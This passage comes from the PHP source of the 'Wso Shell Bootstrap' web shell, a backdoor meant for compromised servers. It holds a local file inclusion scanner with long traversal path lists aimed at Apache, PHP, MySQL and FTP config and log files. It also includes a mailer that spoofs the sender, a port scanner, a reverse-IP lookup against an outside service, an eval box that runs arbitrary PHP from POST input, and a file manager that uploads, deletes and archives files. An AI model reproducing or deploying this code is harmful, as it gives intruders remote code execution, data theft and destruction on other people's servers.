748 13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
749 14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
750 15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
751 16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
752 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
753 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
754 19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
755 20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
756 21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
757 22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
758 23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
759
760 $lficonfig = array(
761 1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
762 2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
763 3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
764 4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
765 5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
766 6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
767 7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
768 8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
769 9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
770 10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
771 11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
772 12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
773 13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
774 14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
775 15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
776 16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
777 17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
778 18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
779 19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
780 20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
781 21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
782 22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
783 23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
784 24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
785 25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
786 26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
787 27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
788 28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
789 29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
790 30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
791 31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
792 32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
793 33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
794 34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
795 35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
796
797 $lfiphpini = array(
798 1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
799 2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
800 3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
801 4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
802 5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
803 6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
804 7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
805 8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
806 9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
807 10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
808 11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
809 12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
810 13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
811 14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
812 15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
813 16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
814 17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
815 18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
816 19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
817 20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
818 21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
819 22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
820 23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
821 24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
822 25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
823 26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
824 27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
825
826 $lfimysql = array(
827 1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
828 2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
829 3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
830 4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
831 5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
832 6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
833 7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
834 8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
835 9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
836 10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
837
838 $lfiftp = array(
839 1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
840 2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
841 3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
842 4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
843 5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
844 6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
845 7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
846 8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
847 9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
848 10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
849 11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
850 12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
851 13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
852 14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
853 15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
854 16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
855 17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
856 18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
857 19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
858 20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
859 21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
860 22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
861 23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
862 24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
863 25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
864 26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
865 27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
866 28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
867 29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
868 30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
869 31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
870 32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
871 33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
872 34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
873 35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
874 36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
875 37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
876 38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
877 39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
878 40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
879 41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
880 42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
881 43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
882 44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
883
884
885 $x = 1;
886 if ( $type == 1 ) {
887 $res1 = FetchURL($target.$lfitest);
888 $res2 = FetchURL($target.$lfitest2);
889 $rhash1 = md5($res1);
890 $rhash2 = md5($res2);
891 if ($rhash1 != $rhash2) {
892 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
893 while($lfiaccess[$x]) {
894 $res3 = FetchURL($target.$lfiaccess[$x]);
895 $rhash3 = md5($res3);
896 if ($rhash3 != $rhash2) {
897 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
898 }
899 else {
900 print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
901 }
902 $x++;
903 }
904 }
905 }
906 if ( $type == 2 ) {
907 $res1 = FetchURL($target.$lfitest);
908 $res2 = FetchURL($target.$lfitest2);
909 $rhash1 = md5($res1);
910 $rhash2 = md5($res2);
911 if ($rhash1 != $rhash2) {
912 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
913 while($lficonfig[$x]) {
914 $res3 = FetchURL($target.$lficonfig[$x]);
915 $rhash3 = md5($res3);
916 if ($rhash3 != $rhash2) {
917 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
918 }
919 else {
920 print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
921 }
922 $x++;
923 }
924 }
925 }
926 if ( $type == 3 ) {
927 $res1 = FetchURL($target.$lfitest);
928 $res2 = FetchURL($target.$lfitest2);
929 $rhash1 = md5($res1);
930 $rhash2 = md5($res2);
931 if ($rhash1 != $rhash2) {
932 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
933 while($lfierror[$x]) {
934 $res3 = FetchURL($target.$lfierror[$x]);
935 $rhash3 = md5($res3);
936 if ($rhash3 != $rhash2) {
937 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
938 }
939 else {
940 print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
941 }
942 $x++;
943 }
944 }
945 }
946 if ( $type == 4 ) {
947 $res1 = FetchURL($target.$lfitest);
948 $res2 = FetchURL($target.$lfitest2);
949 $rhash1 = md5($res1);
950 $rhash2 = md5($res2);
951 if ($rhash1 != $rhash2) {
952 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
953 while($lfiphpini[$x]) {
954 $res3 = FetchURL($target.$lfiphpini[$x]);
955 $rhash3 = md5($res3);
956 if ($rhash3 != $rhash2) {
957 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
958 }
959 else {
960 print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
961 }
962 $x++;
963 }
964 }
965 }
966 if ( $type == 5 ) {
967 $res1 = FetchURL($target.$lfitest);
968 $res2 = FetchURL($target.$lfitest2);
969 $rhash1 = md5($res1);
970 $rhash2 = md5($res2);
971 if ($rhash1 != $rhash2) {
972 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
973 while($lfimysql[$x]) {
974 $res3 = FetchURL($target.$lfimysql[$x]);
975 $rhash3 = md5($res3);
976 if ($rhash3 != $rhash2) {
977 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
978 }
979 else {
980 print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
981 }
982 $x++;
983 }
984 }
985 }
986 if ( $type == 6 ) {
987 $res1 = FetchURL($target.$lfitest);
988 $res2 = FetchURL($target.$lfitest2);
989 $rhash1 = md5($res1);
990 $rhash2 = md5($res2);
991 if ($rhash1 != $rhash2) {
992 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
993 while($lfiftp[$x]) {
994 $res3 = FetchURL($target.$lfiftp[$x]);
995 $rhash3 = md5($res3);
996 if ($rhash3 != $rhash2) {
997 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
998 }
999 else {
1000 print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
1001 }
1002 $x++;
1003 }
1004 }
1005 }
1006if ( $type == 7 ) {
1007 $res1 = FetchURL($target.$lfitest);
1008 $res2 = FetchURL($target.$lfitest2);
1009 $rhash1 = md5($res1);
1010 $rhash2 = md5($res2);
1011 if ($rhash1 != $rhash2) {
1012 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
1013 $res3 = FetchURL($target.$lfiprocenv);
1014 $rhash3 = md5($res3);
1015 if ($rhash3 != $rhash2) {
1016 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
1017 }
1018 else {
1019 print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
1020 }
1021 }
1022 }
1023 }
1024 }
1025echo '</div></div>';
1026 echo "
1027 <footer><center><small>Wso Shell Bootstrap © Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
1028 ";
1029}
1030function actionphptools() {
1031wsoHeader();
1032?><?php
1033if (isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['body'])) {
1034 $headers = 'From: '.$_POST['from'];
1035 mail ($_POST['to'],$_POST['subject'],$_POST['body'],$headers);
1036 echo 'Email sent.';
1037}
1038echo '
1039
1040
1041<div class="container-fluid">
1042<div style="margin-bottom:4px;" class="well">
1043<table class="table table-striped table-hover ">
1044 <tr>
1045<th>
1046<span class="label label-danger">Mailer</span>
1047<form action="'.$surl.'" method=POST>
1048<input type="hidden" name="a" value="phptools">
1049<input type=text name=to value=to><br>
1050<input type=text name=from value=from><br>
1051<input type=text name=subject value=subject><br>
1052<input type=text name=body value=body><br>
1053<input type=submit name=submit style="margin-top:3px;" class="btn btn-success btn-xs" value=Submit></form>
1054</th>';
1055
1056
1057echo '<th><span class="label label-danger">Port Scanner</span>';
1058$start = strip_tags($_POST['start']);
1059$end = strip_tags($_POST['end']);
1060$host = strip_tags($_POST['host']);
1061
1062if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
1063for($i = $start; $i<=$end; $i++){
1064 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1065 if($fp){
1066 echo 'Port '.$i.' is <font color=green>open</font><br>';
1067 }
1068 flush();
1069 }
1070}else{
1071echo '
1072
1073<form action="?" method="POST">
1074<input type="hidden" name="a" value="phptools">
1075Host:<br />
1076<input type="text" name="host" value="localhost"/><br />
1077Port start:<br />
1078<input type="text" name="start" value="0"/><br />
1079Port end:<br />
1080<input type="text" name="end" value="5000"/><br />
1081<input type="submit" style="margin-top:3px;" class="btn btn-success btn-xs" value="Scan Ports" />
1082</form></th>
1083
1084';
1085}
1086echo "
1087<td>
1088<center><img src='http://www.yougetsignal.com/img/site_logo.gif'>
1089<form method='POST' action=''>
1090<input type='hidden' name='a' value='phptools'><input type='text' size='60' value='yahoo.com' name='ghost' /> <input type='submit' value=' ✓ '></form>
1091</center>
1092";
1093if(isset($_POST["ghost"]))
1094{
1095$site = $_POST["ghost"];
1096$ghost = "http://domains.yougetsignal.com/domains.php";
1097
1098//Curl Function
1099$ch = curl_init($ghost);
1100curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
1101curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$site&ket=");
1102curl_setopt($ch, CURLOPT_HEADER, 0);
1103curl_setopt($ch, CURLOPT_POST, 1);
1104$resp = curl_exec($ch);
1105$resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
1106$array = explode(",,", $resp);
1107unset($array[0]);
1108echo '<div class="well well-lg">';
1109foreach($array as $lnk)
1110{
1111 print
1112 $lnk.'<br>';
1113}
1114
1115curl_close($ch);
1116}
1117echo '
1118<td>
1119 </tr>
1120</table>
1121</div></div>
1122 </div>
1123</div>
1124';
1125 echo "
1126 <footer><center><small>Wso Shell Bootstrap © Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
1127 ";
1128 }
1129?>
1130
1131<?php
1132function actionPhp() {
1133 if(isset($_POST['ajax'])) {
1134 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
1135 ob_start();
1136 eval($_POST['p1']);
1137 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
1138 echo strlen($temp), "\n", $temp;
1139 exit;
1140 }
1141 wsoHeader();
1142 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
1143 echo '<div class="container-fluid"><span class="label label-default">PHP info</span><style>
1144 hr {
1145 background-color: #A9A9A9;
1146 color: #A9A9A9;
1147}
1148.bigarea{ width:100%;height:250px; }
1149.e, .v, .vr {
1150 color: #333;
1151 font-family: Verdana, Helvetica, sans-serif;
1152 font-size: 11px;
1153}
1154.e {
1155 background-color: #eee;
1156}
1157.h {
1158 background-color: #0B5FB4;
1159 color: #fff;
1160}
1161.v {
1162 background-color: #F1F1F1;
1163 -ms-word-break: break-all;
1164 word-break: break-all;
1165 word-break: break-word;
1166 -webkit-hyphens: auto;
1167 -moz-hyphens: auto;
1168 hyphens: auto;
1169}
1170 </style>';
1171 ob_start();
1172 phpinfo();
1173 $tmp = ob_get_clean();
1174 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
1175 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
1176 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
1177 }
1178 if(empty($_POST['ajax']) && !empty($_POST['p1']))
1179 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
1180 echo '<div class="container-fluid"><span class="label label-default">Execution PHP-code(Eval)</span>
1181 <div style="margin-top:4pt;" class="well">
1182 <form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" value=">>" style="margin-top:5px">';
1183 echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
1184 if(!empty($_POST['p1'])) {
1185 ob_start();
1186 eval($_POST['p1']);
1187 echo htmlspecialchars(ob_get_clean());
1188 }
1189 echo '</pre></div></div>
1190
1191 ';
1192 echo "
1193 <footer><center><small>Wso Shell Bootstrap © Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
1194 ";
1195}
1196
1197function actionFilesMan() {
1198 wsoHeader();
1199 echo '
1200 <div style="margin-bottom:5pt;" class="container-fluid">
1201 <span class="label label-default">
1202 Dosya Yöneticisi
1203 <script>p1_=p2_=p3_="";</script>
1204 </span>
1205 </div>';
1206 if(!empty($_POST['p1'])) {
1207 switch($_POST['p1']) {
1208 case 'uploadFile':
1209 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
1210 echo "Can't upload file!";
1211 break;
1212 case 'mkdir':
1213 if(!@mkdir($_POST['p2']))
1214 echo "Can't create new dir";
1215 break;
1216 case 'delete':
1217 function deleteDir($path) {
1218 $path = (substr($path,-1)=='/') ? $path:$path.'/';
1219 $dh = opendir($path);
1220 while ( ($item = readdir($dh) ) !== false) {
1221 $item = $path.$item;
1222 if ( (basename($item) == "..") || (basename($item) == ".") )
1223 continue;
1224 $type = filetype($item);
1225 if ($type == "dir")
1226 deleteDir($item);
1227 else
1228 @unlink($item);
1229 }
1230 closedir($dh);
1231 @rmdir($path);
1232 }
1233 if(is_array(@$_POST['f']))
1234 foreach($_POST['f'] as $f) {
1235 if($f == '..')
1236 continue;
1237 $f = urldecode($f);
1238 if(is_dir($f))
1239 deleteDir($f);
1240 else
1241 @unlink($f);
1242 }
1243 break;
1244 case 'paste':
1245 if($_SESSION['act'] == 'copy') {
1246 function copy_paste($c,$s,$d){
1247 if(is_dir($c.$s)){
1248 mkdir($d.$s);
1249 $h = @opendir($c.$s);
1250 while (($f = @readdir($h)) !== false)
1251 if (($f != ".") and ($f != ".."))
1252 copy_paste($c.$s.'/',$f, $d.$s.'/');
1253 } elseif(is_file($c.$s))
1254 @copy($c.$s, $d.$s);
1255 }
1256 foreach($_SESSION['f'] as $f)
1257 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
1258 } elseif($_SESSION['act'] == 'move') {
1259 function move_paste($c,$s,$d){
1260 if(is_dir($c.$s)){
1261 mkdir($d.$s);
1262 $h = @opendir($c.$s);
1263 while (($f = @readdir($h)) !== false)
1264 if (($f != ".") and ($f != ".."))
1265 copy_paste($c.$s.'/',$f, $d.$s.'/');
1266 } elseif(@is_file($c.$s))
1267 @copy($c.$s, $d.$s);
1268 }
1269 foreach($_SESSION['f'] as $f)
1270 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
1271 } elseif($_SESSION['act'] == 'zip') {
1272 if(class_exists('ZipArchive')) {
1273 $zip = new ZipArchive();
1274 if ($zip->open($_POST['p2'], 1)) {
1275 chdir($_SESSION['c']);
1276 foreach($_SESSION['f'] as $f) {
1277 if($f == '..')
1278 continue;
1279 if(@is_file($_SESSION['c'].$f))
1280 $zip->addFile($_SESSION['c'].$f, $f);
1281 elseif(@is_dir($_SESSION['c'].$f)) {
1282 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
1283 foreach ($iterator as $key=>$value) {
1284 $zip->addFile(realpath($key), $key);
1285 }
1286 }
1287 }
1288 chdir($GLOBALS['cwd']);
1289 $zip->close();
1290 }
1291 }
1292 } elseif($_SESSION['act'] == 'unzip') {
1293 if(class_exists('ZipArchive')) {
1294 $zip = new ZipArchive();
1295 foreach($_SESSION['f'] as $f) {
1296 if($zip->open($_SESSION['c'].$f)) {
1297 $zip->extractTo($GLOBALS['cwd']);
1298 $zip->close();
1299 }
1300 }
1301 }
1302 } elseif($_SESSION['act'] == 'tar') {
1303 chdir($_SESSION['c']);
1304 $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
1305 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
1306 chdir($GLOBALS['cwd']);
1307 }
1308 unset($_SESSION['f']);
1309 break;
1310 default:
1311 if(!empty($_POST['p1'])) {
1312 $_SESSION['act'] = @$_POST['p1'];
1313 $_SESSION['f'] = @$_POST['f'];
1314 foreach($_SESSION['f'] as $k => $f)
1315 $_SESSION['f'][$k] = urldecode($f);
1316 $_SESSION['c'] = @$_POST['c'];
1317 }
1318 break;
1319 }
1320 }
1321 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
1322 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
1323 global $sort;
1324 $sort = array('name', 1);
1325 if(!empty($_POST['p1'])) {
1326 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
1327 $sort = array($match[1], (int)$match[2]);
1328 }
1329echo "<script>
1330 function sa() {
1331 for(i=0;i<d.files.elements.length;i++)
1332 if(d.files.elements[i].type == 'checkbox')
1333 d.files.elements[i].checked = d.files.elements[0].checked;
1334 }
1335
1336</script>
1337<div class='container-fluid'>
1338<table class='table table-striped table-hover'>
1339<form name=files method=post><tr class='info'><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
1340 $dirs = $files = array();
1341 $n = count($dirContent);
1342 for($i=0;$i<$n;$i++) {
1343 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
1344 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
1345 $tmp = array('name' => $dirContent[$i],
1346 'path' => $GLOBALS['cwd'].$dirContent[$i],
1347 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
1348 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
1349 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
1350 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
1351 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
1352 );
1353 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
1354 $files[] = array_merge($tmp, array('type' => 'file'));
1355 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
1356 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
1357 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
1358 $dirs[] = array_merge($tmp, array('type' => 'dir'));
1359 }
1360 $GLOBALS['sort'] = $sort;
1361 function wsoCmp($a, $b) {
1362 if($GLOBALS['sort'][0] != 'size')
1363 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
1364 else
1365 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
1366 }
